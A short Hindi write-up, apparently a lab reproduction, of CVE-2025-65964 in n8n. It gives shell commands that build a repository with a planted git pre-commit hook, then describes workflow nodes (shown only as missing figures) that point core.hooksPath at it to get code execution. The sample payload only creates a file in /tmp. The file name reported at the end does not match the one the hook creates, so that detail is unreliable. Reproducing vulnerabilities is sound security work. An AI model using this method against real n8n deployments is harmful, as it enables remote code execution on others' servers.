
CVE-2025-65964 पुनरुत्पादन
सबसे पहले एक भंडार तैयार करें जिसमें दुर्भावनापूर्ण फ़ाइल हो
mkdir n8n-rce-poc && cd n8n-rce-poc
git init
git remote add origin <भंडार पता>
mkdir evil_hooks
echo '#!/bin/sh' > evil_hooks/pre-commit
echo 'touch /tmp/pwned_success' >> evil_hooks/pre-commit
chmod +x evil_hooks/pre-commit
git add evil_hooks/pre-commit
git update-index --chmod=+x evil_hooks/pre-commit
git commit -m "दुर्भावनापूर्ण हुक जोड़ें"
git branch -M main
git push -u origin main
फिर स्थानीय रूप से संक्रमित संस्करण के अंतर्गत एक n8n डॉकर शुरू करें। यह भेद्यता बहुत बड़ी श्रेणी को प्रभावित करती है, 0.123.1 ≤ n8n < 1.119.2 सभी प्रभावित हैं, हम यहाँ 1.64.3 का उपयोग करते हैं
docker run -it --rm \
--name n8n \
-p 5678:5678 \
n8nio/n8n:1.64.3
सबसे पहले, 1.64.3 संस्करण का पूरा आक्रमण प्रवाह इस प्रकार है
पैरामीटर कॉन्फ़िगरेशन चित्र के अनुसार
यह नोड और अगला नोड इसलिए है क्योंकि git केवल तब कमिट की अनुमति देता है जब फ़ाइल में परिवर्तन होता है, इसलिए हमें पहले कोई फ़ाइल लिखनी होगी।
पैरामीटर कॉन्फ़िगरेशन चित्र के अनुसार
भंडार में फ़ाइल लिखें
पैरामीटर कॉन्फ़िगरेशन चित्र के अनुसार
ये दो नोड इसलिए हैं क्योंकि कमिट के लिए ईमेल और उपयोगकर्ता नाम चाहिए, बस दो डाल दें।
पैरामीटर कॉन्फ़िगरेशन चित्र के अनुसार
मुख्य चरण, core.hooksPath को हमारे डाउनलोड किए गए दुर्भावनापूर्ण निर्देशिका पर इंगित करें, git को हुक निष्पादित करते समय निर्दिष्ट निर्देशिका में खोजने के लिए बाध्य करें (डिफ़ॉल्ट .git/hooks है)
(ऐसा लगता है कि LD_PRELOAD आदि को हाईजैक करने जैसा है)
पैरामीटर कॉन्फ़िगरेशन चित्र के अनुसार
यह चरण भेद्यता को ट्रिगर करने और छेड़छाड़ किए गए हुक को निष्पादित करने के लिए है
पैरामीटर कॉन्फ़िगरेशन चित्र के अनुसार
इन नोड्स को कॉन्फ़िगर करने के बाद, वर्कफ़्लो निष्पादित करें
फिर डॉकर में देखें, पाते हैं कि दुर्भावनापूर्ण फ़ाइल pwned_without_exec_node पहले ही बन चुकी है